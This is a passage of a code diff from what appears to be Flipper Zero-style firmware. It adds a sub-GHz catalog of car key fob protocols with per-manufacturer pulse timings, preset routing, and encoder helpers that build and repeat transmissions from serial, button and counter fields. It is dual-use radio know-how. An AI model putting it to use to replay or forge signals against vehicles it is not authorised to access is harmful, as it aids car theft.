case SubGhzProtocolCatalogRoutePolicyFMHonda1:
|
||||
return SubGhzProtocolCatalogRouteFMHonda1;
|
||||
case SubGhzProtocolCatalogRoutePolicyByModulation:
|
||||
return (modulation == SubGhzProtocolCatalogModulationAM) ?
|
||||
SubGhzProtocolCatalogRouteAMDefault :
|
||||
SubGhzProtocolCatalogRouteFMDefault;
|
||||
case SubGhzProtocolCatalogRoutePolicyAMDefault:
|
||||
default:
|
||||
return SubGhzProtocolCatalogRouteAMDefault;
|
||||
}
|
||||
}
|
||||
|
||||
SubGhzProtocolCatalogRoute subghz_protocol_catalog_get_route(
|
||||
const char* preset_name,
|
||||
uint32_t frequency,
|
||||
const uint8_t* preset_data,
|
||||
size_t preset_data_size,
|
||||
const char* protocol_name) {
|
||||
const SubGhzProtocolCatalogEntry* entry =
|
||||
subghz_protocol_catalog_find(protocol_name);
|
||||
if(!entry) {
|
||||
entry = catalog_find_substring(protocol_name);
|
||||
}
|
||||
|
||||
if(entry && entry->route_policy != SubGhzProtocolCatalogRoutePolicyByModulation) {
|
||||
return catalog_route_from_policy(
|
||||
entry->route_policy, SubGhzProtocolCatalogModulationAM);
|
||||
}
|
||||
|
||||
const SubGhzProtocolCatalogModulation modulation =
|
||||
catalog_get_modulation(preset_data, preset_data_size);
|
||||
|
||||
if(entry) {
|
||||
return catalog_route_from_policy(entry->route_policy, modulation);
|
||||
}
|
||||
|
||||
if(modulation == SubGhzProtocolCatalogModulationAM) {
|
||||
if(catalog_frequency_in_vag_band(frequency)) {
|
||||
return SubGhzProtocolCatalogRouteAMVag;
|
||||
}
|
||||
return SubGhzProtocolCatalogRouteAMDefault;
|
||||
}
|
||||
|
||||
if(catalog_string_contains(preset_name, "F4")) {
|
||||
return SubGhzProtocolCatalogRouteFMF4;
|
||||
}
|
||||
if(catalog_string_contains(preset_name, "Honda1") ||
|
||||
catalog_string_contains(preset_name, "Honda 1")) {
|
||||
return SubGhzProtocolCatalogRouteFMHonda1;
|
||||
}
|
||||
return SubGhzProtocolCatalogRouteFMDefault;
|
||||
}
|
||||
|
||||
const char* subghz_protocol_catalog_get_route_name(SubGhzProtocolCatalogRoute route) {
|
||||
switch(route) {
|
||||
case SubGhzProtocolCatalogRouteAMVag:
|
||||
return "AM_VAG";
|
||||
case SubGhzProtocolCatalogRouteFMDefault:
|
||||
return "FM_DEFAULT";
|
||||
case SubGhzProtocolCatalogRouteFMF4:
|
||||
return "FM_F4";
|
||||
case SubGhzProtocolCatalogRouteFMHonda1:
|
||||
return "FM_HONDA1";
|
||||
case SubGhzProtocolCatalogRouteAMDefault:
|
||||
default:
|
||||
return "AM_DEFAULT";
|
||||
}
|
||||
}
|
||||
|
||||
const char* subghz_protocol_catalog_route_to_preset_name(SubGhzProtocolCatalogRoute route) {
|
||||
switch(route) {
|
||||
case SubGhzProtocolCatalogRouteAMVag:
|
||||
return "AM270";
|
||||
case SubGhzProtocolCatalogRouteFMDefault:
|
||||
return "FM476";
|
||||
case SubGhzProtocolCatalogRouteFMF4:
|
||||
return "FM12K";
|
||||
case SubGhzProtocolCatalogRouteFMHonda1:
|
||||
return "FM238";
|
||||
case SubGhzProtocolCatalogRouteAMDefault:
|
||||
default:
|
||||
return "AM650";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -63,6 +63,10 @@
|
||||
#include "psa.h"
|
||||
#include "fiat_spa.h"
|
||||
#include "fiat_marelli.h"
|
||||
#include "fiat_v0.h"
|
||||
#include "fiat_v1.h"
|
||||
#include "fiat_v2.h"
|
||||
#include "renault_v0.h"
|
||||
#include "bmw_cas4.h"
|
||||
#include "subaru.h"
|
||||
#include "kia_generic.h"
|
||||
@@ -79,8 +83,6 @@
|
||||
#include "scher_khan.h"
|
||||
#include "sheriff_cfm.h"
|
||||
#include "chrysler.h"
|
||||
//#include "honda_static.h"
|
||||
//#include "honda_v1.h"
|
||||
#include "mazda_v0.h"
|
||||
#include "kia_v7.h"
|
||||
#include "ford_v1.h"
|
||||
@@ -88,3 +90,49 @@
|
||||
#include "ford_v3.h"
|
||||
#include "land_rover_v0.h"
|
||||
#include "toyota.h"
|
||||
#include "honda_static.h"
|
||||
#include "honda_v1.h"
|
||||
#include "honda_v2.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef enum {
|
||||
SubGhzProtocolCatalogRouteAMDefault = 0,
|
||||
SubGhzProtocolCatalogRouteAMVag,
|
||||
SubGhzProtocolCatalogRouteFMDefault,
|
||||
SubGhzProtocolCatalogRouteFMF4,
|
||||
SubGhzProtocolCatalogRouteFMHonda1,
|
||||
} SubGhzProtocolCatalogRoute;
|
||||
|
||||
typedef enum {
|
||||
SubGhzProtocolCatalogRoutePolicyAMDefault = 0,
|
||||
SubGhzProtocolCatalogRoutePolicyAMVag,
|
||||
SubGhzProtocolCatalogRoutePolicyFMDefault,
|
||||
SubGhzProtocolCatalogRoutePolicyFMF4,
|
||||
SubGhzProtocolCatalogRoutePolicyFMHonda1,
|
||||
SubGhzProtocolCatalogRoutePolicyByModulation,
|
||||
} SubGhzProtocolCatalogRoutePolicy;
|
||||
|
||||
typedef struct {
|
||||
const char* canonical_name;
|
||||
SubGhzProtocolCatalogRoutePolicy route_policy;
|
||||
const char* tx_key;
|
||||
} SubGhzProtocolCatalogEntry;
|
||||
|
||||
const SubGhzProtocolCatalogEntry*
|
||||
subghz_protocol_catalog_find(const char* protocol_name);
|
||||
const char* subghz_protocol_catalog_canonical_name(const char* protocol_name);
|
||||
bool subghz_protocol_catalog_can_tx(const char* protocol_name);
|
||||
const char* subghz_protocol_catalog_tx_key(const char* protocol_name);
|
||||
const char* subghz_protocol_catalog_display_name(const char* protocol_name, uint32_t protocol_type);
|
||||
SubGhzProtocolCatalogRoute subghz_protocol_catalog_get_route(
|
||||
const char* preset_name,
|
||||
uint32_t frequency,
|
||||
const uint8_t* preset_data,
|
||||
size_t preset_data_size,
|
||||
const char* protocol_name);
|
||||
const char* subghz_protocol_catalog_get_route_name(SubGhzProtocolCatalogRoute route);
|
||||
const char* subghz_protocol_catalog_route_to_preset_name(SubGhzProtocolCatalogRoute route);
|
||||
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
#include "protocol_timings.h"
|
||||
|
||||
#include <furi.h>
|
||||
#include <string.h>
|
||||
|
||||
#define PROTOCOL_TIMINGS_COUNT_OF(array) (sizeof(array) / sizeof((array)[0]))
|
||||
|
||||
static const SubGhzProtocolTiming protocol_timings[] = {
|
||||
{
|
||||
.name = "Honda Static",
|
||||
.te_short = 63,
|
||||
.te_long = 700,
|
||||
.te_delta = 120,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Honda V1",
|
||||
.te_short = 1000,
|
||||
.te_long = 2000,
|
||||
.te_delta = 400,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Kia V0",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 61,
|
||||
},
|
||||
{
|
||||
.name = "Kia V1",
|
||||
.te_short = 800,
|
||||
.te_long = 1600,
|
||||
.te_delta = 200,
|
||||
.min_count_bit = 56,
|
||||
},
|
||||
{
|
||||
.name = "Kia V2",
|
||||
.te_short = 500,
|
||||
.te_long = 1000,
|
||||
.te_delta = 150,
|
||||
.min_count_bit = 51,
|
||||
},
|
||||
{
|
||||
.name = "Kia V3/V4",
|
||||
.te_short = 400,
|
||||
.te_long = 800,
|
||||
.te_delta = 150,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Kia V5",
|
||||
.te_short = 400,
|
||||
.te_long = 800,
|
||||
.te_delta = 150,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Kia V6",
|
||||
.te_short = 200,
|
||||
.te_long = 400,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 144,
|
||||
},
|
||||
{
|
||||
.name = "Kia V7",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Ford V0",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Chrysler V0",
|
||||
.te_short = 300,
|
||||
.te_long = 3700,
|
||||
.te_delta = 400,
|
||||
.min_count_bit = 80,
|
||||
},
|
||||
{
|
||||
.name = "Ford V1",
|
||||
.te_short = 65,
|
||||
.te_long = 130,
|
||||
.te_delta = 39,
|
||||
.min_count_bit = 136,
|
||||
},
|
||||
{
|
||||
.name = "Ford V2",
|
||||
.te_short = 200,
|
||||
.te_long = 400,
|
||||
.te_delta = 260,
|
||||
.min_count_bit = 104,
|
||||
},
|
||||
{
|
||||
.name = "Ford V3",
|
||||
.te_short = 240,
|
||||
.te_long = 480,
|
||||
.te_delta = 60,
|
||||
.min_count_bit = 104,
|
||||
},
|
||||
{
|
||||
.name = "Fiat V0",
|
||||
.te_short = 200,
|
||||
.te_long = 400,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Fiat V1",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 102,
|
||||
},
|
||||
{
|
||||
.name = "Fiat V2",
|
||||
.te_short = 210,
|
||||
.te_long = 420,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 112,
|
||||
},
|
||||
{
|
||||
.name = "Renault V0",
|
||||
.te_short = 125,
|
||||
.te_long = 250,
|
||||
.te_delta = 60,
|
||||
.min_count_bit = 82,
|
||||
},
|
||||
{
|
||||
.name = "Mazda V0",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Honda V2",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 81,
|
||||
},
|
||||
{
|
||||
.name = "Porsche Touareg",
|
||||
.te_short = 1680,
|
||||
.te_long = 3370,
|
||||
.te_delta = 500,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "Subaru",
|
||||
.te_short = 800,
|
||||
.te_long = 1600,
|
||||
.te_delta = 200,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "VW",
|
||||
.te_short = 500,
|
||||
.te_long = 1000,
|
||||
.te_delta = 120,
|
||||
.min_count_bit = 80,
|
||||
},
|
||||
{
|
||||
.name = "Scher-Khan",
|
||||
.te_short = 750,
|
||||
.te_long = 1100,
|
||||
.te_delta = 180,
|
||||
.min_count_bit = 35,
|
||||
},
|
||||
{
|
||||
.name = "Star Line",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 120,
|
||||
.min_count_bit = 64,
|
||||
},
|
||||
{
|
||||
.name = "PSA",
|
||||
.te_short = 250,
|
||||
.te_long = 500,
|
||||
.te_delta = 100,
|
||||
.min_count_bit = 128,
|
||||
},
|
||||
};
|
||||
|
||||
static const size_t protocol_timings_count = PROTOCOL_TIMINGS_COUNT_OF(protocol_timings);
|
||||
|
||||
const SubGhzProtocolTiming* subghz_protocol_timing_get(const char* protocol_name) {
|
||||
if(!protocol_name) return NULL;
|
||||
|
||||
for(size_t i = 0; i < protocol_timings_count; i++) {
|
||||
if(strcmp(protocol_name, protocol_timings[i].name) == 0 ||
|
||||
strstr(protocol_name, protocol_timings[i].name) != NULL) {
|
||||
return &protocol_timings[i];
|
||||
}
|
||||
}
|
||||
|
||||
static const struct {
|
||||
const char* alias;
|
||||
const char* canonical;
|
||||
} aliases[] = {
|
||||
{"Honda V0", "Kia V0"},
|
||||
{"Land Rover V0", "Honda V2"},
|
||||
{"Suzuki", "Kia V0"},
|
||||
{"V3", "Kia V3/V4"},
|
||||
{"V4", "Kia V3/V4"},
|
||||
};
|
||||
for(size_t a = 0; a < PROTOCOL_TIMINGS_COUNT_OF(aliases); a++) {
|
||||
if(strstr(protocol_name, aliases[a].alias) == NULL) continue;
|
||||
for(size_t i = 0; i < protocol_timings_count; i++) {
|
||||
if(strstr(protocol_timings[i].name, aliases[a].canonical) != NULL) {
|
||||
return &protocol_timings[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const SubGhzProtocolTiming* subghz_protocol_timing_get_by_index(size_t index) {
|
||||
if(index >= protocol_timings_count) return NULL;
|
||||
return &protocol_timings[index];
|
||||
}
|
||||
|
||||
size_t subghz_protocol_timing_get_count(void) {
|
||||
return protocol_timings_count;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef struct {
|
||||
const char* name;
|
||||
uint32_t te_short;
|
||||
uint32_t te_long;
|
||||
uint32_t te_delta;
|
||||
uint32_t min_count_bit;
|
||||
} SubGhzProtocolTiming;
|
||||
|
||||
const SubGhzProtocolTiming* subghz_protocol_timing_get(const char* protocol_name);
|
||||
const SubGhzProtocolTiming* subghz_protocol_timing_get_by_index(size_t index);
|
||||
size_t subghz_protocol_timing_get_count(void);
|
||||
@@ -0,0 +1,376 @@
|
||||
#include "protocols_common.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
const char SUBGHZ_PROTOCOL_COMMON_KEY[] = "Key";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_SERIAL[] = "Serial";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_BTN[] = "Btn";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_CNT[] = "Cnt";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_REPEAT[] = "Repeat";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_PROTOCOL[] = "Protocol";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_PRESET[] = "Preset";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_FREQUENCY[] = "Frequency";
|
||||
const char SUBGHZ_PROTOCOL_COMMON_TYPE[] = "Type";
|
||||
|
||||
uint8_t subghz_protocol_common_reverse_bits8(uint8_t value) {
|
||||
value = (uint8_t)(((value >> 4U) | (value << 4U)) & 0xFFU);
|
||||
value = (uint8_t)(((value & 0x33U) << 2U) | ((value >> 2U) & 0x33U));
|
||||
value = (uint8_t)(((value & 0x55U) << 1U) | ((value >> 1U) & 0x55U));
|
||||
return value;
|
||||
}
|
||||
|
||||
void subghz_protocol_common_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
|
||||
for(size_t i = 0; i < 8; i++) {
|
||||
bytes[i] = (uint8_t)((data >> ((7U - i) * 8U)) & 0xFFU);
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t subghz_protocol_common_bytes_to_u64_be(const uint8_t bytes[8]) {
|
||||
uint64_t data = 0;
|
||||
for(size_t i = 0; i < 8; i++) {
|
||||
data = (data << 8U) | bytes[i];
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool common_hex_nibble(char c, uint8_t* nibble) {
|
||||
if(c >= '0' && c <= '9') {
|
||||
*nibble = (uint8_t)(c - '0');
|
||||
} else if(c >= 'A' && c <= 'F') {
|
||||
*nibble = (uint8_t)(c - 'A' + 10);
|
||||
} else if(c >= 'a' && c <= 'f') {
|
||||
*nibble = (uint8_t)(c - 'a' + 10);
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool subghz_protocol_common_parse_hex_u64_strict(const char* str, uint64_t* out_key) {
|
||||
if(!str || !out_key) {
|
||||
return false;
|
||||
}
|
||||
|
||||
uint64_t key = 0;
|
||||
uint8_t hex_pos = 0;
|
||||
for(size_t i = 0; str[i] != '\0' && hex_pos < 16; i++) {
|
||||
if(str[i] == ' ') {
|
||||
continue;
|
||||
}
|
||||
|
||||
uint8_t nibble = 0;
|
||||
if(!common_hex_nibble(str[i], &nibble)) {
|
||||
return false;
|
||||
}
|
||||
key = (key << 4) | nibble;
|
||||
hex_pos++;
|
||||
}
|
||||
|
||||
if(hex_pos != 16) {
|
||||
return false;
|
||||
}
|
||||
*out_key = key;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool subghz_protocol_common_flipper_read_hex_u64(
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
uint64_t* out_key) {
|
||||
FuriString* value = furi_string_alloc();
|
||||
if(!value) {
|
||||
return false;
|
||||
}
|
||||
|
||||
bool ok = false;
|
||||
if(flipper_format_rewind(flipper_format) &&
|
||||
flipper_format_read_string(flipper_format, key, value)) {
|
||||
ok = subghz_protocol_common_parse_hex_u64_strict(furi_string_get_cstr(value), out_key);
|
||||
}
|
||||
furi_string_free(value);
|
||||
return ok;
|
||||
}
|
||||
|
||||
void subghz_protocol_common_flipper_update_or_insert_u32(
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
uint32_t value) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(!flipper_format_update_uint32(flipper_format, key, &value, 1)) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, key, &value, 1);
|
||||
}
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_common_verify_protocol_name(FlipperFormat* ff, const char* expected_name) {
|
||||
if(!ff || !expected_name) {
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
FuriString* tmp = furi_string_alloc();
|
||||
if(!tmp) {
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
SubGhzProtocolStatus result = SubGhzProtocolStatusError;
|
||||
if(!flipper_format_read_string(ff, SUBGHZ_PROTOCOL_COMMON_PROTOCOL, tmp)) {
|
||||
result = SubGhzProtocolStatusErrorParserOthers;
|
||||
} else if(furi_string_equal(tmp, expected_name)) {
|
||||
result = SubGhzProtocolStatusOk;
|
||||
}
|
||||
furi_string_free(tmp);
|
||||
return result;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_common_encoder_read_bit(
|
||||
FlipperFormat* ff,
|
||||
const uint16_t* allowed_bits,
|
||||
size_t allowed_bits_count,
|
||||
uint32_t* out_bit) {
|
||||
if(!ff || !out_bit) return SubGhzProtocolStatusError;
|
||||
flipper_format_rewind(ff);
|
||||
uint32_t bit = 0;
|
||||
if(!flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_BTN, &bit, 1)) {
|
||||
return SubGhzProtocolStatusErrorValueBitCount;
|
||||
}
|
||||
if(allowed_bits && allowed_bits_count) {
|
||||
bool ok = false;
|
||||
for(size_t i = 0; i < allowed_bits_count; i++) {
|
||||
if((uint32_t)allowed_bits[i] == bit) {
|
||||
ok = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!ok) return SubGhzProtocolStatusError;
|
||||
}
|
||||
*out_bit = bit;
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
void subghz_protocol_common_encoder_read_fields(
|
||||
FlipperFormat* ff,
|
||||
uint32_t* serial_out,
|
||||
uint32_t* btn_out,
|
||||
uint32_t* cnt_out,
|
||||
uint32_t* type_out) {
|
||||
if(!ff) return;
|
||||
uint32_t tmp = 0;
|
||||
if(serial_out) {
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_SERIAL, &tmp, 1)) *serial_out = tmp;
|
||||
}
|
||||
if(btn_out) {
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_BTN, &tmp, 1)) *btn_out = tmp;
|
||||
}
|
||||
if(cnt_out) {
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_CNT, &tmp, 1)) *cnt_out = tmp;
|
||||
}
|
||||
if(type_out) {
|
||||
flipper_format_rewind(ff);
|
||||
if(flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_TYPE, &tmp, 1)) *type_out = tmp;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t subghz_protocol_common_encoder_read_repeat(FlipperFormat* ff, uint32_t default_repeat) {
|
||||
if(!ff) return default_repeat;
|
||||
flipper_format_rewind(ff);
|
||||
uint32_t tmp = 0;
|
||||
if(!flipper_format_read_uint32(ff, SUBGHZ_PROTOCOL_COMMON_REPEAT, &tmp, 1)) {
|
||||
return default_repeat;
|
||||
}
|
||||
|
||||
if(tmp == 0) {
|
||||
return default_repeat;
|
||||
}
|
||||
if(tmp > SUBGHZ_PROTOCOL_COMMON_ENCODER_REPEAT_MAX) {
|
||||
tmp = SUBGHZ_PROTOCOL_COMMON_ENCODER_REPEAT_MAX;
|
||||
}
|
||||
return tmp;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_common_serialize_fields(
|
||||
FlipperFormat* ff,
|
||||
uint32_t field_mask,
|
||||
uint32_t serial,
|
||||
uint32_t btn,
|
||||
uint32_t cnt,
|
||||
uint32_t type) {
|
||||
if(!ff) return SubGhzProtocolStatusError;
|
||||
|
||||
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_SERIAL) &&
|
||||
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_SERIAL, &serial, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_BTN) &&
|
||||
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_BTN, &btn, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_CNT) &&
|
||||
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_CNT, &cnt, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
if((field_mask & SUBGHZ_PROTOCOL_COMMON_FIELD_TYPE) &&
|
||||
!flipper_format_write_uint32(ff, SUBGHZ_PROTOCOL_COMMON_TYPE, &type, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_common_write_display(
|
||||
FlipperFormat* ff,
|
||||
const char* protocol_name,
|
||||
const char* suffix) {
|
||||
if(!ff || !protocol_name || !suffix) {
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
FuriString* display = furi_string_alloc();
|
||||
if(!display) {
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
furi_string_printf(display, "%s - %s", protocol_name, suffix);
|
||||
SubGhzProtocolStatus status =
|
||||
flipper_format_write_string_cstr(ff, "Disp", furi_string_get_cstr(display)) ?
|
||||
SubGhzProtocolStatusOk :
|
||||
SubGhzProtocolStatusErrorParserOthers;
|
||||
furi_string_free(display);
|
||||
return status;
|
||||
}
|
||||
|
||||
size_t subghz_protocol_common_emit_merge(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
bool level,
|
||||
uint32_t us) {
|
||||
if(i > 0 && level_duration_get_level(up[i - 1]) == level) {
|
||||
uint32_t prev = level_duration_get_duration(up[i - 1]);
|
||||
up[i - 1] = level_duration_make(level, prev + us);
|
||||
return i;
|
||||
}
|
||||
if(i < cap) up[i++] = level_duration_make(level, us);
|
||||
return i;
|
||||
}
|
||||
|
||||
size_t subghz_protocol_common_emit_byte_manchester(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
uint8_t value,
|
||||
uint32_t te) {
|
||||
for(int8_t bit = 7; bit >= 0; bit--) {
|
||||
bool bit_value = ((value >> bit) & 1) != 0;
|
||||
i = subghz_protocol_common_emit_manchester_bit(up, i, cap, bit_value, te);
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
size_t subghz_protocol_common_emit_short_pairs(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
uint32_t te,
|
||||
size_t pair_count) {
|
||||
for(size_t p = 0; p < pair_count; p++) {
|
||||
i = subghz_protocol_common_emit(up, i, cap, true, te);
|
||||
i = subghz_protocol_common_emit(up, i, cap, false, te);
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
void subghz_protocol_common_encoder_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolCommonEncoder* hdr = context;
|
||||
hdr->encoder.upload = NULL;
|
||||
hdr->encoder.size_upload = 0;
|
||||
free(hdr);
|
||||
}
|
||||
|
||||
void subghz_protocol_common_encoder_stop(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolCommonEncoder* hdr = context;
|
||||
hdr->encoder.is_running = false;
|
||||
hdr->encoder.front = 0;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_common_encoder_yield(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolCommonEncoder* hdr = context;
|
||||
if(hdr->encoder.repeat == 0 || !hdr->encoder.is_running || hdr->encoder.size_upload == 0) {
|
||||
hdr->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
LevelDuration ret = hdr->encoder.upload[hdr->encoder.front];
|
||||
if(++hdr->encoder.front == hdr->encoder.size_upload) {
|
||||
hdr->encoder.repeat--;
|
||||
hdr->encoder.front = 0;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
static LevelDuration* common_shared_upload_buf = NULL;
|
||||
|
||||
LevelDuration* subghz_protocol_common_shared_upload_buffer(void) {
|
||||
if(common_shared_upload_buf == NULL) {
|
||||
common_shared_upload_buf =
|
||||
malloc(SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY * sizeof(LevelDuration));
|
||||
furi_check(common_shared_upload_buf);
|
||||
}
|
||||
return common_shared_upload_buf;
|
||||
}
|
||||
|
||||
size_t subghz_protocol_common_shared_upload_capacity(void) {
|
||||
return SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY;
|
||||
}
|
||||
|
||||
void subghz_protocol_common_shared_upload_release(void) {
|
||||
free(common_shared_upload_buf);
|
||||
common_shared_upload_buf = NULL;
|
||||
}
|
||||
|
||||
void subghz_protocol_common_encoder_buffer_ensure(void* context, size_t capacity) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolCommonEncoder* hdr = context;
|
||||
furi_check(capacity <= SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY);
|
||||
hdr->encoder.upload = subghz_protocol_common_shared_upload_buffer();
|
||||
hdr->encoder.size_upload = capacity;
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_common_decoder_hash_blocks(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolCommonDecoder* hdr = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&hdr->decoder, (hdr->decoder.decode_count_bit / 8U) + 1U);
|
||||
}
|
||||
|
||||
void subghz_protocol_common_decoder_free_default(void* context) {
|
||||
furi_check(context);
|
||||
free(context);
|
||||
}
|
||||
|
||||
bool subghz_protocol_common_preset_name_is_custom_marker(const char* preset_name) {
|
||||
return preset_name && (!strcmp(preset_name, "Custom") ||
|
||||
!strcmp(preset_name, "CUSTOM") ||
|
||||
!strcmp(preset_name, "FuriHalSubGhzPresetCustom") ||
|
||||
strstr(preset_name, "PresetCustom"));
|
||||
}
|
||||
|
||||
const char* subghz_protocol_common_get_short_preset_name(const char* preset_name) {
|
||||
if(!preset_name || preset_name[0] == '\0') return "AM650";
|
||||
|
||||
if(strstr(preset_name, "Ook650") || strstr(preset_name, "OOK650")) return "AM650";
|
||||
if(strstr(preset_name, "Ook270") || strstr(preset_name, "OOK270")) return "AM270";
|
||||
if(strstr(preset_name, "2FSKDev238") || strstr(preset_name, "Dev238")) return "FM238";
|
||||
if(strstr(preset_name, "2FSKDev12K") || strstr(preset_name, "Dev12K")) return "FM12K";
|
||||
if(strstr(preset_name, "2FSKDev476") || strstr(preset_name, "Dev476")) return "FM476";
|
||||
if(subghz_protocol_common_preset_name_is_custom_marker(preset_name)) return "Custom";
|
||||
|
||||
if(!strcmp(preset_name, "AM650")) return "AM650";
|
||||
if(!strcmp(preset_name, "AM270")) return "AM270";
|
||||
if(!strcmp(preset_name, "FM238")) return "FM238";
|
||||
if(!strcmp(preset_name, "FM12K")) return "FM12K";
|
||||
if(!strcmp(preset_name, "FM476")) return "FM476";
|
||||
|
||||
return preset_name;
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
#pragma once
|
||||
|
||||
#include <lib/flipper_format/flipper_format.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
|
||||
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_KEY[];
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_SERIAL[];
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_BTN[];
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_CNT[];
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_REPEAT[];
|
||||
